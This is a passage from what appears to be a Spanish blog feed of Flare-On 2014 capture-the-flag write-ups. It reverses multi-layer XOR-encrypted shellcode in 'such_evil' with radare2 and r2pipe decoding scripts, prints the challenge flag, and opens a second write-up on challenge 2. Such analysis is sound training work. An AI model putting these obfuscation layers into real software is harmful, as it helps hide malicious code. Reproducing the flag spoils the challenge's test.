<p><img src="/img/flareon2014-c3/xorcode1.png" alt="XOR2"></p>
<p>Ok, parece que todas las instrucciones siguen a un loop en donde se realizar un XOR del byte correspondiente con 0x66 de los 479 bytes siguientes, algo en pseudocodigo como lo siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>index = 28;
</span></span><span style="display:flex;"><span>newcode = stack;
</span></span><span style="display:flex;"><span>for (Contador =  479; Contardor != 0; Contador--){
</span></span><span style="display:flex;"><span>  newcode[index] = stack[index] ^ 0x66;
</span></span><span style="display:flex;"><span>  index++;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Eso quiere decir que el jmp 0x31 (marcado en verde), no era un jmp&hellip;</p>
<p><img src="/img/flareon2014-c3/preloop2.png" alt="Previo a Loop2"></p>
<p>Ok, entonces modificamos el código que usamos hace un momento para hacer el xor, descargar el payload nuevamente y analizarlo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -*- encode: utf-8 -*-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> r2pipe<span style="color:#f92672">,</span> binascii
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> r2pipe<span style="color:#f92672">.</span>open(<span style="color:#e6db74">&#39;such_evil&#39;</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;e anal.bb.maxsize=2048000&#34;</span>) <span style="color:#75715e"># Se pone el block size a 2M</span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;aa&#34;</span>)
</span></span><span style="display:flex;"><span>fcn_master <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;aflj&#34;</span>)
</span></span><span style="display:flex;"><span>fcn_payload <span style="color:#f92672">=</span> fcn_master[<span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span>asm_payload <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;pDj </span><span style="color:#e6db74">%u</span><span style="color:#e6db74"> @ </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">%</span> (fcn_payload[<span style="color:#e6db74">&#39;realsz&#39;</span>], fcn_payload[<span style="color:#e6db74">&#39;offset&#39;</span>]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>real_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">4</span>,<span style="color:#ae81ff">1030</span>,<span style="color:#ae81ff">2</span>):
</span></span><span style="display:flex;"><span>    real_payload <span style="color:#f92672">+=</span> chr(asm_payload[idx][<span style="color:#e6db74">&#34;val&#34;</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xor_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">479</span>):
</span></span><span style="display:flex;"><span>    xor_payload <span style="color:#f92672">+=</span> chr(ord(real_payload[idx<span style="color:#f92672">+</span><span style="color:#ae81ff">33</span>]) <span style="color:#f92672">^</span> <span style="color:#ae81ff">0x66</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;payload2.bin&#34;</span>, <span style="color:#e6db74">&#34;wb&#34;</span>) <span style="color:#66d9ef">as</span> fout:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(len(xor_payload)):
</span></span><span style="display:flex;"><span>        fout<span style="color:#f92672">.</span>write(xor_payload[idx])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>quit()
</span></span></code></pre></div><p>Tras ejecutar el código, analizamos el binario resultante en radare2:</p>
<p><img src="/img/flareon2014-c3/postxor1.png" alt="Post Loop2, XOR"></p>
<p>Nuevamente parece que algo no esta del todo bien en el código, vemos los strings del binario:</p>
<p><img src="/img/flareon2014-c3/xor1_izz.png" alt="Strings of XOR1"></p>
<p>El primer string, parece darnos algún tipo de mensaje:</p>
<pre><code>Num Paddr      Vaddr       Len Size Section  Type  String
000 0x00000000 0x00000000  19  20   ()       ascii and so it beginshus
</code></pre>
<p>Pareciera que la cola del &ldquo;hus&rdquo; esta de mas, por lo que convirtamos eso que aparece como código, como data:</p>
<p><img src="/img/flareon2014-c3/prexor2.png" alt="Loop3, code"></p>
<p>Ok, este código se parece un poco al anterior, vemos que ahora en lugar de ser solo un 0x66, es un string.</p>
<p><img src="/img/flareon2014-c3/loop3.png" alt="Loop3, graph"></p>
<p>Analicemos el código:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0x00000010      6875730000     push 0x7375                 ; &#39;us&#39;
</span></span><span style="display:flex;"><span>0x00000015      6873617572     push 0x72756173             ; &#39;saur&#39;
</span></span><span style="display:flex;"><span>0x0000001a      686e6f7061     push 0x61706f6e             ; &#39;nopa&#39;
</span></span><span style="display:flex;"><span>                                                           ; En total: &#39;nopasaurus&#39;
</span></span><span style="display:flex;"><span>0x0000001f      89e3           mov ebx, esp                ; Salvamos el ESP en EBX (EBX = ESP)
</span></span><span style="display:flex;"><span>0x00000021      e800000000     call 0x26                   ; brincamos unos ceros
</span></span><span style="display:flex;"><span>0x00000026      8b3424         mov esi, dword [esp]        ; Salvamos ESP en ESI (ESI = ESP)
</span></span><span style="display:flex;"><span>0x00000029      83c62d         add esi, 0x2d               ; ESI ahora vale ESP+45 (offset)
</span></span><span style="display:flex;"><span>0x0000002c      89f1           mov ecx, esi                ; ECX = ESP + 45
</span></span><span style="display:flex;"><span>0x0000002e      81c18c010000   add ecx, 0x18c              ; ECX = ESP + (45 + 396 = 441)
</span></span><span style="display:flex;"><span>0x00000034      89d8           mov eax, ebx                ; EAX = ESP
</span></span><span style="display:flex;"><span>0x00000036      83c00a         add eax, 0xa                ; EAX = ESP + 10 (longitud del string)
</span></span><span style="display:flex;"><span>0x00000039      39d8           cmp eax, ebx                ; Compara EAX con EBX, para ver si reinicia el string
</span></span><span style="display:flex;"><span>0x0000003b      7505           jne 0x42                    ; Sino ha acabado con el string, brinca 0x42
</span></span><span style="display:flex;"><span>0x0000003d      89e3           mov ebx, esp                ; Si ya acabo el string, EBX = ESP
</span></span><span style="display:flex;"><span>0x0000003f      83c304         add ebx, 4                  ; EBX = ESP + 4
</span></span><span style="display:flex;"><span>0x00000042      39ce           cmp esi, ecx                ; Compara si ya acabo los 441 bytes
</span></span><span style="display:flex;"><span>0x00000044      7408           je 0x4e                     ; Si acabo, se va a 0x4e, osea sale
</span></span><span style="display:flex;"><span>0x00000046      8a13           mov dl, byte [ebx]          ; Si no acabo, carga en dl un byte de EBX
</span></span><span style="display:flex;"><span>0x00000048      3016           xor byte [esi], dl          ; Hace XOR de DL y ESI, guardando en ESI
</span></span><span style="display:flex;"><span>0x0000004a      43             inc ebx                     ; Incremento EBX (Debe alcanzar a EAX)
</span></span><span style="display:flex;"><span>0x0000004b      46             inc esi                     ; Siguiente byte!
</span></span><span style="display:flex;"><span>0x0000004c      ebeb           jmp 0x39                    ; De regreso al inicio del loop.
</span></span></code></pre></div><p>Nuevamente, modificamos el script que teníamos anterior para realizar el loop de xor multibyte:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -*- encode: utf-8 -*-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> r2pipe<span style="color:#f92672">,</span> binascii
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> r2pipe<span style="color:#f92672">.</span>open(<span style="color:#e6db74">&#39;such_evil&#39;</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;e anal.bb.maxsize=2048000&#34;</span>) <span style="color:#75715e"># Se pone el block size a 2M</span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;aa&#34;</span>)
</span></span><span style="display:flex;"><span>fcn_master <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;aflj&#34;</span>)
</span></span><span style="display:flex;"><span>fcn_payload <span style="color:#f92672">=</span> fcn_master[<span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span>asm_payload <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;pDj </span><span style="color:#e6db74">%u</span><span style="color:#e6db74"> @ </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">%</span> (fcn_payload[<span style="color:#e6db74">&#39;realsz&#39;</span>], fcn_payload[<span style="color:#e6db74">&#39;offset&#39;</span>]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>real_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">4</span>,<span style="color:#ae81ff">1030</span>,<span style="color:#ae81ff">2</span>):
</span></span><span style="display:flex;"><span>    real_payload <span style="color:#f92672">+=</span> chr(asm_payload[idx][<span style="color:#e6db74">&#34;val&#34;</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xor_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">479</span>):
</span></span><span style="display:flex;"><span>    xor_payload <span style="color:#f92672">+=</span> chr(ord(real_payload[idx<span style="color:#f92672">+</span><span style="color:#ae81ff">33</span>]) <span style="color:#f92672">^</span> <span style="color:#ae81ff">0x66</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xor2_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>secret <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;nopasaurus&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">396</span>):
</span></span><span style="display:flex;"><span>    xor2_payload <span style="color:#f92672">+=</span> chr(ord(xor_payload[idx <span style="color:#f92672">+</span> <span style="color:#ae81ff">45</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">19</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">19</span>]) <span style="color:#f92672">^</span> ord(secret[idx<span style="color:#f92672">%</span>len(secret)])) <span style="color:#75715e"># 45 de offset, 19 de texto y 19 de codigo</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;payload3.bin&#34;</span>, <span style="color:#e6db74">&#34;wb&#34;</span>) <span style="color:#66d9ef">as</span> fout:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(len(xor2_payload)):
</span></span><span style="display:flex;"><span>        fout<span style="color:#f92672">.</span>write(xor2_payload[idx])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>quit()
</span></span></code></pre></div><p>Con el código anexo generamos otro binario, el cual analizamos en radare2 nuevamente:</p>
<p><img src="/img/flareon2014-c3/loop4-code.png" alt="Loop4, code"></p>
<p>Buscamos por strings:</p>
<p><img src="/img/flareon2014-c3/loop4-strings.png" alt="Payload4, strings"></p>
<p>Ajustamos nuevamente el código:</p>
<p><img src="/img/flareon2014-c3/loop4-offset.png" alt="Loop4, offset"></p>
<p><img src="/img/flareon2014-c3/loop4-graph.png" alt="Loop4, graph"></p>
<p>Ooootro loop. Veamos las instrucciones a detalle:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0x00000031      e800000000     call 0x36                    ; Brincamos a 0x36
</span></span><span style="display:flex;"><span>0x00000036      8b3424         mov esi, dword [esp]         ; ESI = ESP
</span></span><span style="display:flex;"><span>0x00000039      83c61e         add esi, 0x1e                ; ESI = ESP + 30
</span></span><span style="display:flex;"><span>0x0000003c      b938010000     mov ecx, 0x138               ; ECX = 312
</span></span><span style="display:flex;"><span>0x00000041      83f900         cmp ecx, 0                   ; if (ECX == 0)
</span></span><span style="display:flex;"><span>0x00000044      7e0e           jle 0x54                     ; Igual o menor, sal de este loop
</span></span><span style="display:flex;"><span>0x00000046      8136624f6c47   xor dword [esi], 0x476c4f62  ; XOR de ESI contra &#39;GlOb&#39;
</span></span><span style="display:flex;"><span>0x0000004c      83c604         add esi, 4                   ; ESI = ESI + 4
</span></span><span style="display:flex;"><span>0x0000004f      83e904         sub ecx, 4                   ; ECX = ECX - 4
</span></span><span style="display:flex;"><span>0x00000052      ebed           jmp 0x41                     ; Regresa a inicio
</span></span></code></pre></div><p>Aplicamos el mismo caso del ejemplo anterior en el código:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -*- encode: utf-8 -*-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> r2pipe<span style="color:#f92672">,</span> binascii
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> r2pipe<span style="color:#f92672">.</span>open(<span style="color:#e6db74">&#39;such_evil&#39;</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;e anal.bb.maxsize=2048000&#34;</span>) <span style="color:#75715e"># Se pone el block size a 2M</span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;aa&#34;</span>)
</span></span><span style="display:flex;"><span>fcn_master <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;aflj&#34;</span>)
</span></span><span style="display:flex;"><span>fcn_payload <span style="color:#f92672">=</span> fcn_master[<span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span>asm_payload <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;pDj </span><span style="color:#e6db74">%u</span><span style="color:#e6db74"> @ </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">%</span> (fcn_payload[<span style="color:#e6db74">&#39;realsz&#39;</span>], fcn_payload[<span style="color:#e6db74">&#39;offset&#39;</span>]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>real_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">4</span>,<span style="color:#ae81ff">1030</span>,<span style="color:#ae81ff">2</span>):
</span></span><span style="display:flex;"><span>    real_payload <span style="color:#f92672">+=</span> chr(asm_payload[idx][<span style="color:#e6db74">&#34;val&#34;</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xor_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">479</span>):
</span></span><span style="display:flex;"><span>    xor_payload <span style="color:#f92672">+=</span> chr(ord(real_payload[idx<span style="color:#f92672">+</span><span style="color:#ae81ff">33</span>]) <span style="color:#f92672">^</span> <span style="color:#ae81ff">0x66</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xor2_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>secret <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;nopasaurus&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">396</span>):
</span></span><span style="display:flex;"><span>    xor2_payload <span style="color:#f92672">+=</span> chr(ord(xor_payload[idx <span style="color:#f92672">+</span> <span style="color:#ae81ff">45</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">19</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">19</span>]) <span style="color:#f92672">^</span> ord(secret[idx<span style="color:#f92672">%</span>len(secret)]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xor3_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>secret2 <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;bOlG:&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">312</span>):
</span></span><span style="display:flex;"><span>    xor3_payload <span style="color:#f92672">+=</span> chr(ord(xor2_payload[idx <span style="color:#f92672">+</span> <span style="color:#ae81ff">84</span>]) <span style="color:#f92672">^</span> ord(secret2[idx<span style="color:#f92672">%</span>len(secret2)]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;payload4.bin&#34;</span>, <span style="color:#e6db74">&#34;wb&#34;</span>) <span style="color:#66d9ef">as</span> fout:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(len(xor3_payload)):
</span></span><span style="display:flex;"><span>        fout<span style="color:#f92672">.</span>write(xor3_payload[idx])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>quit()
</span></span></code></pre></div><p>Ok, iniciamos por analizar payload4.bin:</p>
<p><img src="/img/flareon2014-c3/loop5-init.png" alt="Loop5, Init"></p>
<p>Como podemos observar, hay algo parecido a un texto en las primeras lineas, tal como los anteriores&hellip;</p>
<p>Veamos mejor las instrucciones:</p>
<p><img src="/img/flareon2014-c3/loop5-code1.png" alt="Loop5, Code1"></p>
<p><img src="/img/flareon2014-c3/loop5-code2.png" alt="Loop5, Code2"></p>
<p>Nuevamente otro loop, solo que esta vez la llave es mas grande. Apliquemos una adecuación al código que ya tenemos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -*- encode: utf-8 -*-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> r2pipe<span style="color:#f92672">,</span> binascii
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r <span style="color:#f92672">=</span> r2pipe<span style="color:#f92672">.</span>open(<span style="color:#e6db74">&#39;such_evil&#39;</span>)
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;e anal.bb.maxsize=2048000&#34;</span>) <span style="color:#75715e"># Se pone el block size a 2M</span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;aa&#34;</span>)
</span></span><span style="display:flex;"><span>fcn_master <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;aflj&#34;</span>)
</span></span><span style="display:flex;"><span>fcn_payload <span style="color:#f92672">=</span> fcn_master[<span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span>asm_payload <span style="color:#f92672">=</span> r<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;pDj </span><span style="color:#e6db74">%u</span><span style="color:#e6db74"> @ </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">%</span> (fcn_payload[<span style="color:#e6db74">&#39;realsz&#39;</span>], fcn_payload[<span style="color:#e6db74">&#39;offset&#39;</span>]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>real_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">4</span>,<span style="color:#ae81ff">1030</span>,<span style="color:#ae81ff">2</span>):
</span></span><span style="display:flex;"><span>    real_payload <span style="color:#f92672">+=</span> chr(asm_payload[idx][<span style="color:#e6db74">&#34;val&#34;</span>])
</span></span><span style="display:flex;"><span>xor_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">479</span>):
</span></span><span style="display:flex;"><span>    xor_payload <span style="color:#f92672">+=</span> chr(ord(real_payload[idx<span style="color:#f92672">+</span><span style="color:#ae81ff">33</span>]) <span style="color:#f92672">^</span> <span style="color:#ae81ff">0x66</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xor2_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>secret <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;nopasaurus&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">396</span>):
</span></span><span style="display:flex;"><span>    xor2_payload <span style="color:#f92672">+=</span> chr(ord(xor_payload[idx<span style="color:#f92672">+</span><span style="color:#ae81ff">45</span><span style="color:#f92672">+</span><span style="color:#ae81ff">19</span><span style="color:#f92672">+</span><span style="color:#ae81ff">19</span>]) <span style="color:#f92672">^</span> ord(secret[idx<span style="color:#f92672">%</span>len(secret)]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xor3_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>secret2 <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;bOlG&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">312</span>):
</span></span><span style="display:flex;"><span>    xor3_payload <span style="color:#f92672">+=</span> chr(ord(xor2_payload[idx <span style="color:#f92672">+</span><span style="color:#ae81ff">84</span>]) <span style="color:#f92672">^</span> ord(secret2[idx<span style="color:#f92672">%</span>len(secret2)]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xor4_payload <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>secret3 <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;omg is it almost over?!?&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">81</span>):
</span></span><span style="display:flex;"><span>    xor4_payload <span style="color:#f92672">+=</span> chr(ord(xor3_payload[idx <span style="color:#f92672">+</span><span style="color:#ae81ff">93</span><span style="color:#f92672">+</span><span style="color:#ae81ff">5</span>]) <span style="color:#f92672">^</span> ord(secret3[idx<span style="color:#f92672">%</span>len(secret3)]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#34;payload5.bin&#34;</span>, <span style="color:#e6db74">&#34;wb&#34;</span>) <span style="color:#66d9ef">as</span> fout:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> idx <span style="color:#f92672">in</span> range(len(xor4_payload)):
</span></span><span style="display:flex;"><span>        fout<span style="color:#f92672">.</span>write(xor4_payload[idx])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r<span style="color:#f92672">.</span>quit()
</span></span></code></pre></div><p>Tras generar payload5.bin, lo analizamos con r2:</p>
<p><img src="/img/flareon2014-c3/loop6-init.png" alt="Loop6, Init"></p>
<p>Finalmente, como pudimos ver en la ventana anterior, la bandera ya se asoma, solo basta ajustar code-&gt;data con <em>Cd 29</em>, podemos observar la bandera:</p>
<p><img src="/img/flareon2014-c3/final.png" alt="Final"></p>
<p><strong>flag: <a href="mailto:such.5h311010101@flare-on.com">such.5h311010101@flare-on.com</a></strong></p>
<hr>
<p>Espero que les haya gustado.</p>
<p>Saludos,</p>]]></content></item><item><title>Flare-on 2014 - Challenge 02: Javascrap</title><link>https://www.xbyte.mx/posts/flareon2014_-_challenge02/</link><pubDate>Wed, 24 Oct 2018 15:16:00 -0500</pubDate><guid>https://www.xbyte.mx/posts/flareon2014_-_challenge02/</guid><description>&lt;p&gt;Otro writeup mas de como resolver el reto 02 del primer Flare-On_2014 de Fireeye, llamado Javascrap.&lt;/p&gt;
&lt;p&gt;Bien comenzamos por descargar este reto, &amp;ldquo;C2.zip&amp;rdquo; y validarlo. En este challenge y los siguientes todos serán archivos zip con la contraseña &amp;ldquo;malware&amp;rdquo;&lt;/p&gt;</description><content type="html"><![CDATA[<p>Otro writeup mas de como resolver el reto 02 del primer Flare-On_2014 de Fireeye, llamado Javascrap.</p>
<p>Bien comenzamos por descargar este reto, &ldquo;C2.zip&rdquo; y validarlo. En este challenge y los siguientes todos serán archivos zip con la contraseña &ldquo;malware&rdquo;</p>
<p>Bien comenzamos por descomprimir el challenge &ldquo;C2.zip&rdquo;, el cual esta protegido por la contraseña &ldquo;malware&rdquo;.</p>
<blockquote>
<p>Nota: Todos los archivos de challenge se encuentran dentro de un zip que se descarga <a href="http://www.flare-on.com/files/2014_FLAREOn_Challenges.zip">aquí</a></p>
</blockquote>
<p><img src="/img/flareon2014-c2/unzip.png" alt="unzip"></p>
<p>Al ver el contenido tenemos 2 archivos, una imagen y un archivo html:</p>
<p><img src="/img/flareon2014-c2/file-of-content.png" alt="file"></p>
<p>Si analizamos el documento html, nos daremos cuenta que la pagina corresponde a la original del primer flare-on, por lo que el código en si, es igual que la pagina que estaba ejecutándose en dicho momento:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">title</span>&gt;The FLARE On Challenge&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/css&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://bootswatch.com/lumen/bootstrap.min.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">style</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        #counter {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">width</span>: <span style="color:#ae81ff">210</span><span style="color:#66d9ef">px</span>;
